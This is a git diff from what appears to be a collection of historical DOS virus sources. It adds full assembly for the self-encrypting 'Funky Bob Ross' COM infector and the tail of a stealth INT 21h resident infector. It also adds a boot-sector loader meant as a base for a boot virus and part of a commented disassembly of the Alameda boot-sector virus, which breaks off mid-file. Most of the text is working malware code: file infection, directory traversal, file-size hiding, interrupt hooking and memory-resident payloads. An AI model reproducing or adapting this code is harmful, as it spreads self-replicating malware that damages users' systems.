dx,Org_prg + mov cx,3 + pushf + call dword ptr cs:[old21] + cmp word ptr cs:Org_prg[0],'ZM' + je close + cmp word ptr cs:Org_prg[0],'MZ' + je close + + Mov ax,4202h + xor cx,cx + xor dx,dx + pushf + call dword ptr cs:[old21] + sub ax,3 + mov cs:jump[1],ax + + mov ah,40h + push cs + pop ds + lea dx,main + mov cx,virlen + pushf + call dword cs:[old21] + mov ax,4200h + xor cx,cx + xor dx,dx + mov ah,40h + lea dx,jump + mov cx,3 + pushf + call dword cs:[old21] + + or cs:fdat,01fh + +close: mov ax,5701h + mov cx,cs:fdat + mov dx,cs:fdat[2] + pushf + call dword ptr cs:[old21] +done: mov ah,3eh + pushf + call dword ptr cs:[old21] + pop ds + pop dx + push dx + push ds + mov ax,4301h + mov cx,fatr + pushf + call dword ptr cs:[old21] + +error: pop ds + pop dx + +endint: pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[old21] + +getdta: + pop si + pushf + push ax + push bx + push es + mov ah,2fh + call dos + jmp short si + +FindFCB: call DOS ; call orginal interrupt + cmp al,0 ; error ? + jne Ret1 + call getdta + cmp byte ptr es:[bx],-1 ; extended fcb ? + jne FCBOk + add bx,8 ; yes, skip 8 bytes +FCBOk: mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ch],Virlen ; adjust file-size + sbb word ptr es:[bx+1eh],0 + jmp short Time + +Find: call DOS + jc Ret1 + call getdta + mov al,es:[bx+16h] + and al,1fh + cmp al,1fh + jne FileOk + sub word ptr es:[bx+1ah],VirLen + sbb word ptr es:[bx+1ch],0 +Time: xor byte ptr es:[bx+16h],10h +FileOk: pop es + pop bx + pop ax + popf +Ret1: retf 2 + +dos: pushf + call dword ptr cs:[old21] + ret + +Org_prg dw 0cd90h + db 21h + +fnam db 8 dup (0) + db '.' + db 3 dup (0) + db 0 +fatr dw 0 +fdat dw 0,0 + + +jump db 0e9h,0,0 + + Db 'In memoriam 14-10-92' + +VirLen Equ $-Main +ParLen Equ (VirLen/10h)+10h + + + + + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/b/Bobvirus.asm b/b/Bobvirus.asm new file mode 100755 index 0000000..21bbebc --- /dev/null +++ b/b/Bobvirus.asm @@ -0,0 +1,565 @@ +; The Funky Bob Ross Virus Version 1.0 +; Written by Dark Angel / 26 September 1991 / (c) 1991 +; PHALCON/SKISM Co-op +; Effective length: 1125, Resident length: 672 bytes +; +; DEDICATION: +; This virus was written expressedly to +; 1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the +; other guru-wanna-bes in this world. +; 2) Spread the message of The Almighty Bob, and so enrichen the lives +; of people all over the world. +; 3) Show off (Now I can tell people that I wrote a virus!) +; +; WHAT THIS IS: +; This is a self-encrypting, non-overwriting COM infector. It doesn't do +; anything to EXE files. File sizes increase by 1117 bytes. It goes off +; on July 9th of any year or after 7 infection "waves." +; +; WHAT IT DOES WHEN IT GOES OFF: +; The virus goes memory resident and prints out a Bobism every 5 minutes. +; It then enters a delay loop for approximately 5 seconds, allowing for a +; brief moment of silence while the victim reads Bob's holy message. The +; virus will not destroy anything. The virus will not go TSR if it finds +; another copy of itself in memory. +; +; CAUTION: THIS IS DESTRUCTIVE CODE. YOU SHOULD NOT EVEN BE LOOKING AT IT. +; I HAVE NEVER AND WILL NEVER RELEASE THIS CODE. IF YOU SHOULD BE +; LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME. YOU HAVE NO +; RIGHT TO LOOK AT THIS CODE. IF THIS SOURCE SHOULD FALL INTO THE +; WRONG HANDS, IT COULD BE VERY BAD! DESTROY THIS IMMEDIATELY. I +; HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE. +; THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!! + +CODE SEGMENT PUBLIC 'CODE' + ORG 100h + ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE + +DTA_fileattr EQU 21 +DTA_filetime EQU 22 +DTA_filedate EQU 24 +DTA_filesize EQU 26 +DTA_filename EQU 30 + +virus_marker equ 026FFh ; JMP WORD PTR +virus_marker2 equ 00104h ; 0104h +part1_size equ part1_end - part1_start +part2_size equ part2_end - part2_start +offset_off equ duh2 +init_delay equ 5280 ; Initial delay +delay equ 400 ; Subsequent delay +num_Messages equ 7 ; Number of Bob messages +waves equ 7 ; Number of waves to go off after +infec_date equ 0709h ; Date of psychosis + +Counter equ 108h +D_Mess equ 110h +Int_08_Start equ 112h + +part1_start: + jmp word ptr duh +duh dw middle_part_end - part1_start + 100h +duh2 dw 0 +part1_end: + +middle_part_start: +middle_part_end: + +;============================================================================= +;Part 2 begins: Dis is the D-Cool part +;============================================================================= +part2_start: + cld + call decrypt + mov si, offset Go + add si, offset_off + jmp si + +encrypt_val db 00h + +decrypt: +encrypt: + mov si, offset encrypt_val + add si, offset_off + mov ah, byte ptr [si] + + mov cx, offset part2_end - offset bam_bam + add si, offset bam_bam - offset encrypt_val + mov di, si + +xor_loop: + lodsb ; DS:[SI] -> AL + xor al, ah + stosb + loop xor_loop + ret + +copy_rest_stuff: +; Mah copying routine + push si ; SI -> buffer3 + call encrypt + mov cx, part2_size + pop dx + add dx, offset part2_start - offset buffer3 + mov ah, 40h + int 21h + call decrypt +bam_bam: + ret + +buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0 +buffer2 db part1_end - part1_start dup (?) +buffer3 dw ? +orig_path db 64 dup (?) +num_infec db 0 ; Infection wave number +infec_now db 0 ; Number files infected this time +root_dir db '\',0 +com_mask db '*.com',0 +dir_mask db '*.*',0 +back_dir db '..',0 +nest dw 0 + +DTA db 43 DUP (0) ; For use by infect_dir + +Go: + add si, offset buffer - offset Go + mov di, si + add di, offset buffer2 - offset buffer + mov cx, part1_size + rep movsb + + mov ah, 47h ; Get directory + xor dl,dl ; Default drive + add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer + int 21h ; in orig_path + jc Go_Error + + mov ah, 3Bh ; Change directory + mov dx, si ; to the root dir + add dx, offset root_dir - offset orig_path + int 21h + jc Go_Error + + add si, offset num_infec - offset orig_path + inc byte ptr [si] ; New infection wave + + push si ; Save offset num_infec + + add si, offset infec_now - offset num_infec + mov byte ptr [si], 3 ; Reset infection + ; counter to 3 + ; for D-new run. + + call traverse_fcn ; Do all the work + + pop si ; Restore offset num_infec + cmp byte ptr [si], waves ; 10 infection waves? + jge Go_Psycho ; If so, activate + + mov ah, 2Ah ; Get date + int 21h + cmp dx, infec_date ; Is it 07/09? + jz Go_Psycho ; If so, activate +Go_Error: + jmp quit ; And then quit + +Go_Psycho: + jmp Psycho + +origattr db 0 +origtime dw 0 +origdate dw 0 +filesize dw 0 ; Size of the uninfected file + +oldhandle dw 0 + +;============================================================================= +;D-Traversal function begins +;============================================================================= +traverse_fcn proc near + push bp ; Create stack frame + mov bp,sp + sub sp,44 ; Allocate space for DTA + push si + + jmp infect_directory +In_fcn: + mov ah,1Ah ;Set DTA + lea dx,word ptr [bp-44] ; to space allotted + int 21h ;Do it now, do it hard! + + mov ah, 4Eh ;Find first + mov cx,16 ;Directory mask + mov dx,offset dir_mask ; *.* + add dx,offset_off + int 21h + jmp short isdirok +gonow: + cmp byte ptr [bp-14], '.' ;Is first char == '.'? + je short donext ; If so, loop again + lea dx,word ptr [bp-14] ;else load dirname + mov ah,3Bh ; and changedir there + int 21h ;Yup, yup + jc short donext ; Do next if invalid + mov si, offset nest ; Else increment nest + add si, offset_off + inc word ptr [si] ; nest++ + call near ptr traverse_fcn ; recurse directory +donext: + lea dx,word ptr [bp-44] ;Load space allocated for DTA address + mov ah,1Ah ; and set DTA to it + int 21h ; 'cause it might have changed + + mov ah,4Fh ;Find next + int 21h +isdirok: + jnc gonow ;If OK, jmp elsewhere + mov si, offset nest + add si, offset_off + cmp word ptr [si], 0 ;If root directory (nest == 0) + jle short cleanup ; Quit + dec word ptr [si] ;Else decrement nest + mov dx,offset back_dir ;'..' + add dx, offset_off + mov ah,3Bh ;Change directory + int 21h ; to previous one +cleanup: + pop si + mov sp,bp + pop bp + ret +traverse_fcn endp +;============================================================================= +;D-Traversal function ends +;============================================================================= + +Goto_Error: + jmp Error + +enuff_for_now: + ;Set nest to nil + mov si, offset nest ; in order to + add si, offset_off ; halt the D-Cool + mov word ptr [si], 0 ; traversal fcn + jmp short cleanup +return_to_fcn: + jmp short In_fcn ;Return to traversal function + +infect_directory: + mov ah, 1Ah ;Set DTA + mov dx, offset DTA ; to DTA struct + add dx, offset_off + int 21h + +find_first_COM: + mov ah, 04Eh ; Find first file + mov cx, 0007h ; Any file + mov dx, offset com_mask ; DS:[DX] --> filemask + add dx, offset_off + int 21h ; Fill DTA (hopefully) + jc return_to_fcn ; Error #E421:0.1 + jmp check_if_COM_infected ; I<___-Cool! Found one! + +find_next_file2: + mov si, offset infec_now ; Another loop, + add si, offset_off ; Another infection + dec byte ptr [si] ; Infected three? + jz enuff_for_now ; If so, exit +find_next_file: + mov ah,4Fh ; Find next + int 21h + jc return_to_fcn + +check_if_COM_infected: + mov si, offset DTA + dta_filename + 6 ; look at 7th letter + add si, offset_off + cmp byte ptr [si], 'D' ; ??????D.COM? + jz find_next_file ; don't kill COMMAND.COM + + mov ax,3D00h ; Open channel read ONLY + mov dx, si ; Offset Pathname in DX + sub dx, 6 + int 21h ; Open NOW! + jc find_next_file ; If error, find another + + xchg bx,ax ; bx is now handle + mov ah,3Fh ; Save + mov cx, part1_size ; first part + mov dx, offset buffer ; to buffer + add dx, offset_off ; to be restored + push dx + int 21h ; later + + pop si ; Check for virus ID bytes + ; in the buffer + push si + lodsw ; DS:[SI] -> AX + cmp ax, virus_marker ; Compare it + jnz infect_it ; infect it if ID #1 not found + + lodsw ; Check next two bytes + cmp ax, virus_marker2 ; Compare it + jnz infect_it ; infect if ID #2 not found + pop si +bomb_out: + mov ah, 3Eh ; else close the file + int 21h ; and go find another + jmp find_next_file ; 'cuz it's already infected + +Signature db 'PHALCON' + +;============================================================================= +;D-Good Stuff - Infection routine +;============================================================================= +infect_it: + ; save fileattr + pop si + add si, offset DTA + DTA_fileattr - offset buffer + mov di, si + add di, offset origattr - offset DTA - DTA_fileattr + movsb ; DS:[SI] -> ES:[DI] + movsw ; Save origtime + movsw ; Save origdate + movsw ; Save filesize + ; Only need LSW + ; because COM files + ; can only be up to + ; 65535 bytes long + cmp word ptr [si - 2], part1_size + jl bomb_out ; is less than 8 bytes. + +do_again: + mov ah, 2Ch ; get time + int 21h + add dl, dh ; 1/100 sec + 1 sec + jz do_again ; Don't want orig strain! + + mov si, offset encrypt_val + add si, offset_off + mov byte ptr [si], dl ; 255 mutations + + mov ax, 4301h ; Set file attributes + xor cx, cx ; to nothing + mov dx, si ; filename in DTA + add dx, offset DTA + DTA_filename - offset encrypt_val + int 21h ; do it now, my child + + mov ah, 3Eh ; Close file + int 21h ; handle in BX + + mov ax, 3D02h ; Open file read/write + int 21h ; Filename offset in DX + jc bomb_out ; Damn! Probs + + mov di, dx + add di, offset oldhandle - offset DTA - DTA_filename + ; copy filehandle to + ; oldhandle + stosw ; AX -> ES:[DI] + xchg ax, bx ; file handle in BX now + + mov ah, 40h ; Write DS:[DX]->file + mov cx, part1_size - 4 ; number of bytes + mov dx, 0100h ; where code starts + int 21h ; (in memory) + + mov ah, 40h + mov si, di ; mov si, offset filesize + add si, offset filesize - 2 - offset oldhandle + add word ptr [si], 0100h + mov cx, 2 + mov dx, si + int 21h ; write jmp offset + + mov ax, [si] ; AX = filesize + sub ax, 0108h + + add si, offset buffer3 - offset filesize + push si + mov word ptr [si], ax + mov ah, 40h + mov cx, 2 + mov dx, si + int 21h + + mov ax, 4202h ; move file ptr + xor cx, cx ; from EOF + xor dx, dx ; offset cx:dx + int 21h + + call copy_rest_stuff + + pop si + add si, offset oldhandle - offset buffer3 + mov bx, word ptr [si] + mov ax, 5701h ; Restore + add si, offset origtime - offset oldhandle + mov cx, word ptr [si] ; old time and + add si, 2 + mov dx, word ptr [si] ; date + int 21h + + mov ah, 3Eh ; Close file + int 21h + + mov ax, 4301h ; Restore file + xor ch, ch + add si, offset origattr - offset origtime - 2 + mov cl, byte ptr [si] ; attributes + mov dx, si ; filename in DTA + add dx, offset DTA + DTA_filename - offset origattr + int 21h ; do it now + + jmp find_next_file2 + +GotoError: + jmp error + +Psycho: +; Check if already installed + push es + mov byte ptr cs:[100h],0 ; Initialize fingerprint + xor bx, bx ; Zero BX for start + mov ax, cs +Init1: inc bx ; Increment search segment + mov es, bx ; value + cmp ax, bx ; Not installed if we reach + je Not_Installed_Yet ; the current segment + mov si, 100h ; Search segment for + mov di, si ; fingerprint in first + mov cx, 4 ; four bytes + repe cmpsb ; Compare + jne init1 ; If not equal, try another + jmp Quit_Init ; else already installed + +Not_Installed_Yet: + pop es + mov word ptr cs:[Counter], init_delay + mov word ptr cs:[D_Mess], 1 + +; Copy interrupt handler to beginning of code + mov si, offset _int_08_handler + add si, offset_off + mov di, Int_08_Start + mov cx, int_end - int_start + rep movsb ; DS:[SI]->ES:[DI] + + mov ax, 3508h ; Get int 8 handler + int 21h ; put in ES:BX + + mov cs:[duh], bx ; Save old handler + mov cs:[duh+2], es ; in cs:[104h] + + mov ax, 2508h ; Install new handler + mov dx, Int_08_Start ; from DS:DX + int 21h ; Do it + + push es + mov ax, ds:[2Ch] ; Deallocate program + mov es, ax ; environment block + mov ah, 49h + int 21h + pop es + + mov ax, 3100h ; TSR + mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4 + int 21h + int 20h ; In case of error +Quit_Init: + pop es +Error: ; On error, quit +Quit: + mov ah, 3Bh ; Change directory + mov dx, offset root_dir ; to the root dir + add dx, offset_off + int 21h + + mov ah,3Bh ; Change directory + ; Return to orig dir + add dx, offset orig_path - offset root_dir + int 21h + +; Copy buffer back to beginning of file + mov si, dx + add si, offset buffer2 - offset orig_path + mov di, 0100h + mov cx, part1_end - part1_start + rep movsb + + mov di, 0100h + jmp di +int_start: +_int_08_handler proc far + push ax + push bx + push cx + push dx + push si + push ds + push es + pushf + dec word ptr CS:[Counter] ; Counter + jnz QuitNow +;ACTIVATION!!! + mov word ptr CS:[Counter], delay ; Reset counter + + ; Set up DS & ES to equal CS + push cs + pop ds + push cs + pop es + + mov si, offset Messages - offset int_start + int_08_start + mov cx, cs:D_Mess + xor ah, ah +LoopY_ThingY: + lodsb ; DS:SI -> AL + add si, ax ; ES:BP -> Next message to display + loop LoopY_ThingY + + lodsb + xchg si, bp + + xor cx, cx + mov cl, al ; Length of string + mov ax, 1300h ; + mov bx, 0070h ; Page 0, inverse video + xor dx, dx ; (0,0) + int 10h ; Display ES:BP + inc word ptr cs:[D_Mess] + cmp word ptr cs:[D_Mess], num_messages + jnz Sigh + mov word ptr cs:[D_Mess], 1 + +Sigh: mov cx, 30h +Sigh2: push cx + mov cx, 0FFFFh +DelayX: loop DelayX + pop cx + loop Sigh2 + xchg si, bp +QuitNow: + popf + pop es + pop ds + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr CS:duh + +Messages db 0 + db 15, 'Bob Ross lives!' + db 21, 'Bob Ross is watching!' + db 22, 'Maybe he lives here...' + db 26, 'What a happy little cloud!' + db 38, 'Maybe he has a neighbour right here...' + db 40, 'You can make up stories as you go along.' +_int_08_handler endp +int_end: +part2_end: + +CODE ends + end part1_start + diff --git a/b/Boot.asm b/b/Boot.asm new file mode 100755 index 0000000..839a0b8 --- /dev/null +++ b/b/Boot.asm @@ -0,0 +1,248 @@ +;This is a simple boot sector that will load either MS-DOS or PC-DOS. It is not +;self-reproducing, but it will be used as the foundation on which to build a +;virus into a boot sector. + +;This segment is where the first operating system file (IBMBIO.COM or IO.SYS) +;will be loaded and executed from. We don't know (or care) what is there, but +;we do need the address to jump to defined in a separate segment so we can +;execute a far jump to it. +DOS_LOAD SEGMENT AT 0070H + ASSUME CS:DOS_LOAD + + ORG 0 + +LOAD: DB 0 ;Start of the first operating system program + +DOS_LOAD ENDS + + +MAIN SEGMENT BYTE + ASSUME CS:MAIN,DS:MAIN,SS:NOTHING + +;This jump instruction is just here so we can compile this program as a COM +;file. It is never actually executed, and never becomes a part of the boot +;sector. Only the 512 bytes after the address 7C00 in this file become part of +;the boot sector. + ORG 100H + +START: jmp BOOTSEC + +;The following two definitions are BIOS RAM bytes which contain information +;about the number and type of disk drives in the computer. These are needed by +;the virus to decide on where to look to find drives to infect. They are not +;normally needed by an ordinary boot sector. +; +; ORG 0410H +; +;SYSTEM_INFO: DB ? ;System info byte: Take bits 6 & 7 and add 1 to get number of +; ;disk drives on this system (eg 01 = 2 drives) +; +; ORG 0475H +; +;HD_COUNT: DB ? ;Number of hard drives in the system +; +;This area is reserved for loading the first sector of the root directory, when +;checking for the existence of system files and loading the first system file. + + ORG 0500H + +DISK_BUF: DW ? ;Start of the buffer + +;Here is the start of the boot sector code. This is the chunk we will take out +;of the compiled COM file and put it in the first sector on a 360K floppy disk. +;Note that this MUST be loaded onto a 360K floppy to work, because the +;parameters in the data area that follow are set up to work only with a 360K +;disk! + + ORG 7C00H + +BOOTSEC: JMP BOOT ;Jump to start of boot sector code + + ORG 7C03H ;This is needed because the jump will get coded as 2 bytes + +DOS_ID: DB 'EZBOOT ' ;Name of this boot sector (8 bytes) +SEC_SIZE: DW 200H ;Size of a sector, in bytes +SECS_PER_CLUST: DB 02 ;Number of sectors in a cluster +FAT_START: DW 1 ;Starting sector for the first File Allocation Table (FAT) +FAT_COUNT: DB 2 ;Number of FATs on this disk +ROOT_ENTRIES: DW 70H ;Number of root directory entries +SEC_COUNT: DW 2D0H ;Total number of sectors on this disk +DISK_ID: DB 0FDH ;Disk type code (This is 360KB) +SECS_PER_FAT: DW 2 ;Number of sectors per FAT +SECS_PER_TRK: DW 9 ;Sectors per track for this drive +HEADS: DW 2 ;Number of heads (sides) on this drive +HIDDEN_SECS: DW 0 ;Number of hidden sectors on the disk + +DSKBASETBL: + DB 0 ;Specify byte 1: step rate time, head unload time + DB 0 ;Specify byte 2: Head load time, DMA mode + DB 0 ;Wait time until motor turned off, in clock ticks + DB 0 ;Bytes per sector (0=128, 1=256, 2=512, 3=1024) + DB 12H ;Last sector number (we make it large enough to handle 1.2/1.44 MB floppies) + DB 0 ;Gap length between sectors for r/w operations, in bytes + DB 0 ;Data transfer length when sector length not specified + DB 0 ;Gap length between sectors for format operations, in bytes + DB 0 ;Value stored in newly formatted sectors + DB 1 ;Head settle time, in milliseconds (we set it small to speed operations) + DB 0 ;Motor startup time, in 1/8 seconds + +HEAD: DB 0 ;Current head to read from (scratch area used by boot sector) + +;Here is the start of the boot sector code + +BOOT: CLI ;interrupts off + XOR AX,AX ;prepare to set up segments + MOV ES,AX ;set ES=0 + MOV SS,AX ;start stack at 0000:7C00 + MOV SP,OFFSET BOOTSEC + MOV BX,1EH*4 ;get address of disk + LDS SI,SS:[BX] ;param table in ds:si + PUSH DS + PUSH SI ;save that address + PUSH SS + PUSH BX ;and its address + + MOV DI,OFFSET DSKBASETBL ;and update default + MOV CX,11 ;values to the table stored here + CLD ;direction flag cleared +DFLT1: LODSB + CMP BYTE PTR ES:[DI],0 ;anything non-zero + JNZ SHORT DFLT2 ;is not a default, so don't save it + STOSB ;else put default value in place + JMP SHORT DFLT3 ;and go on to next +DFLT2: INC DI +DFLT3: LOOP DFLT1 ;and loop until cx=0 + + MOV AL,AH ;set ax=0 + MOV DS,AX ;set ds=0 so we can set disk tbl + MOV WORD PTR [BX+2],AX ;to @DSKBASETBL (ax=0 here) + MOV WORD PTR [BX],OFFSET DSKBASETBL ;ok, done + STI ;now turn interrupts on + INT 13H ;and reset disk drive system +ERROR1: JC ERROR1 ;if an error, hang the machine + +;Here we look at the first file on the disk to see if it is the first MS-DOS or +;PC-DOS system file, IO.SYS or IBMBIO.COM, respectively. +LOOK_SYS: + MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk + XOR AH,AH + MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat + ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors + ADD AX,WORD PTR [FAT_START] ;add starting fat sector + + PUSH AX + MOV WORD PTR [DOS_ID],AX ;root dir, save it + + MOV AX,20H ;dir entry size + MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax + MOV BX,WORD PTR [SEC_SIZE] ;sector size + ADD AX,BX ;add one sector + DEC AX ;decrement by 1 + DIV BX ;ax=# sectors in root dir + ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data + MOV BX,OFFSET DISK_BUF ;set up disk read buffer at 0000:0500 + POP AX + CALL CONVERT ;and go convert sequential sector number to bios data + MOV AL,1 ;prepare for a disk read for 1 sector + CALL READ_DISK ;go read it + + MOV DI,BX ;compare first file on disk with + MOV CX,11 ;required file name + MOV SI,OFFSET SYSFILE_1 ;of first system file for PC DOS + REPZ CMPSB + JZ SYSTEM_THERE ;ok, found it, go load it + + MOV DI,BX ;compare first file with + MOV CX,11 ;required file name + MOV SI,OFFSET SYSFILE_2 ;of first system file for MS DOS + REPZ CMPSB +ERROR2: JNZ ERROR2 ;not the same - an error, so hang the machine + +;Ok, system file is there, so load it +SYSTEM_THERE: + MOV AX,WORD PTR [DISK_BUF+1CH] ;get file size of IBMBIO.COM/IO.SYS + XOR DX,DX + DIV WORD PTR [SEC_SIZE] ;and divide by sector size + INC AL ;ax=number of sectors to read + MOV BP,AX ;store that number in BP + MOV AX,WORD PTR [DOS_ID] ;get sector number of start of data + PUSH AX + MOV BX,700H ;set disk read buffer to 0000:0700 +RD_BOOT1: MOV AX,WORD PTR [DOS_ID] ;and get sector to read + CALL CONVERT ;convert to bios Trk/Cyl/Sec info + MOV AL,1 ;read one sector + CALL READ_DISK ;go read the disk + SUB BP,1 ;subtract 1 from number of sectors to read + JZ DO_BOOT ;and quit if we're done + ADD WORD PTR [DOS_ID],1 ;add sectors read to sector to read + ADD BX,WORD PTR [SEC_SIZE] ;and update buffer address + JMP RD_BOOT1 ;then go for another + + +;Ok, the first system file has been read in, now transfer control to it +DO_BOOT: + MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch + MOV DL,BYTE PTR [DRIVE] ;Drive number in dl + POP BX + JMP FAR PTR LOAD ;and transfer control to the first system file + + +;Convert sequential sector number in ax to BIOS Track, Head, Sector information. +;Save track number in DX, sector number in CH, +CONVERT: + XOR DX,DX + DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors per track + INC DL ;dl=sector number to start read on, al=track/head count + MOV CH,DL ;save it here + XOR DX,DX + DIV WORD PTR [HEADS] ;divide ax by head count + MOV BYTE PTR [HEAD],DL ;dl=head number, save it + MOV DX,AX ;ax=track number, save it in dx + RET + + +;Read the disk for the number of sectors in al, into the buffer es:bx, using +;the track number in DX, the head number at HEAD, and the sector +;number at CH. +READ_DISK: + MOV AH,2 ;read disk command + MOV CL,6 ;shift possible upper 2 bits of track number to + SHL DH,CL ;the high bits in dh + OR DH,CH ;and put sector number in the low 6 bits + MOV CX,DX + XCHG CH,CL ;ch (0-5) = sector, cl, ch (6-7) = track + MOV DL,BYTE PTR [DRIVE] ;get drive number from here + MOV DH,BYTE PTR [HEAD] ;and head number from here + INT 13H ;go read the disk +ERROR3: JC ERROR3 ;hang in case of an error + RET + +;Move data that doesn't change from this boot sector to the one read in at +;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and +;the data area at the beginning of the boot sector. +MOVE_DATA: + MOV SI,OFFSET DSKBASETBL ;Move all of the boot sector code after the data area + MOV DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL - OFFSET BOOTSEC) + MOV CX,OFFSET DRIVE - OFFSET DSKBASETBL + REP MOVSB + MOV SI,OFFSET BOOTSEC ;Move the initial jump and the sector ID + MOV DI,OFFSET DISK_BUF + MOV CX,11 + REP MOVSB + RET + + +SYSFILE_1: DB 'IBMBIO COM' ;PC DOS System file +SYSFILE_2: DB 'IO SYS' ;MS DOS System file + + ORG 7DFDH + +DRIVE: DB 0 ;Drive number, used in disk reads, etc. +BOOT_ID: DW 0AA55H ;Boot sector ID word + + +MAIN ENDS + + + END START + \ No newline at end of file diff --git a/b/Bootvir.asm b/b/Bootvir.asm new file mode 100755 index 0000000..67c92bb --- /dev/null +++ b/b/Bootvir.asm @@ -0,0 +1,431 @@ + + P/HUN Issue #4, Volume 2: Phile 3 of 11 + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A BOOT SECTOR VIRUS + 5/15/89 + + +The following is a disassembled and commented version of the Alemeda +College Boot infector virus. Courtesy of Southern Cross. + + +;-----------------------------------------------------------------------; +; This virus is of the "FLOPPY ONLY" variety. ; +; It replicates to the boot sector of a floppy disk and when it gains control +; it will move itself to upper memory. It redirects the keyboard ; +; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ; +; it will attempt to infect any floppy it finds in drive A:. ; +; It keeps the real boot sector at track 39, sector 8, head 0 ; +; It does not map this sector bad in the fat (unlike the Pakistani Brain) +; and should that area be used by a file, the virus ; +; will die. It also contains no anti detection mechanisms as does the ; +; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ; +; sector 9 because this is common to all floppy formats both single ; +; sided and double sided. It does not contain any malevolent TROJAN ; +; HORSE code. It does appear to contain a count of how many times it ; +; has infected other diskettes although this is harmless and the count ; +; is never accessed. ; +; ; +; Things to note about this virus: ; +; It can not only live through an ALT-CTRL-DEL reboot command, but this ; +; is its primary (only for that matter) means of reproduction to other ; +; floppy diskettes. The only way to remove it from an infected system ; +; is to turn the machine off and reboot an uninfected copy of DOS. ; +; It is even resident when no floppy is booted but BASIC is loaded ; +; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ; +; it activates and infectes the floppy from which the user is ; +; attempting to boot. ; +; ; +; Also note that because of the POP CS command to pass control to ; +; its self in upper memory, this virus does not to work on 80286 ; +; machines (because this is not a valid 80286 instruction). ; +; ; +; The Norton Utilities can be used to identify infected diskettes by ; +; looking at the boot sector and the DOS SYS utility can be used to ; +; remove it (unlike the Pakistani Brain). ; +;-----------------------------------------------------------------------; + ; + ORG 7C00H ; + ; +TOS LABEL WORD ;TOP OF STACK +;-----------------------------------------------------------------------; +; 1. Find top of memory and copy ourself up there. (keeping same offset); +; 2. Save a copy of the first 32 interrupt vectors to top of memory too ; +; 3. Redirect int 9 (keyboard) to ourself in top of memory ; +; 4. Jump to ourself at top of memory ; +; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ; +;-----------------------------------------------------------------------; +BEGIN: CLI ;INITIALIZE STACK + XOR AX,AX ; + MOV SS,AX ; + MOV SP,offset TOS ; + STI ; + ; + MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512) + MOV DS,BX ; + MOV AX,[0013H] ; + MUL BX ; + SUB AX,07E0H ; (7C00H+512)/16 + MOV ES,AX ; + ; + PUSH CS ;DS = CS + POP DS ; + ; + CMP DI,3456H ;IF THE VIRUS IS REBOOTING... + JNE B_10 ; + DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1-- + ; +B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY + MOV DI,SI ; + MOV CX,512 ; + CLD ; + REP MOVSB ; + ; + MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO + MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE + MOV CX,128 ; + REP MOVSB ; + ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + ; + PUSH ES ;ES=HI ;JUMP TO OUR HI CODE WITH + POP CS ; CS = ES + ; + PUSH DS ;DS=0 ;ES = DS + POP ES ; + ; + MOV BX,SP ;SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00 + MOV DX,CX ;CX=0 ; DRIVE A: HEAD 0 + MOV CX,2708H ; TRACK 40, SECTOR 8 + MOV AX,0201H ; READ SECTOR + INT 13H ; (common to 8/9 sect. 1/2 sided!) + JB $ ; HANG IF ERROR + ; + JMP JMP_BOOT ;JMP 0000:7C00 + ; +;-----------------------------------------------------------------------; +; SAVE THEN REDIRECT INT 9 VECTOR ; +; ; +; ON ENTRY: DS = 0 ; +; ES = WHERE TO SAVE OLD_09 & (HI) ; +; WHERE NEW_09 IS (HI) ; +;-----------------------------------------------------------------------; +PUT_NEW_09: ; + DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024 + ; + MOV SI,9*4 ;COPY INT 9 VECTOR TO + MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!) + MOV CX,0004 ; + ; + CLI ; + REP MOVSB ; + MOV Word Ptr [9*4],offset NEW_09 + MOV [(9*4)+2],ES ; + STI ; + ; + RET ; + ; +;-----------------------------------------------------------------------; +; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ; +;-----------------------------------------------------------------------; +ACK_KEYBD: ; + IN AL,61H ;RESET KEYBOARD THEN CONTINUE + MOV AH,AL ; + OR AL,80H ; + OUT 61H,AL ; + XCHG AL,AH ; + OUT 61H,AL ; + JMP RBOOT ; + ; +;-----------------------------------------------------------------------; +; DATA AREA WHICH IS NOT USED IN THIS VERSION ; +; REASON UNKNOWN ; +;-----------------------------------------------------------------------; +TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39 + DB 27H,0,2,2 ; (CURRENTLY NOT USED) + DB 27H,0,3,2 ; 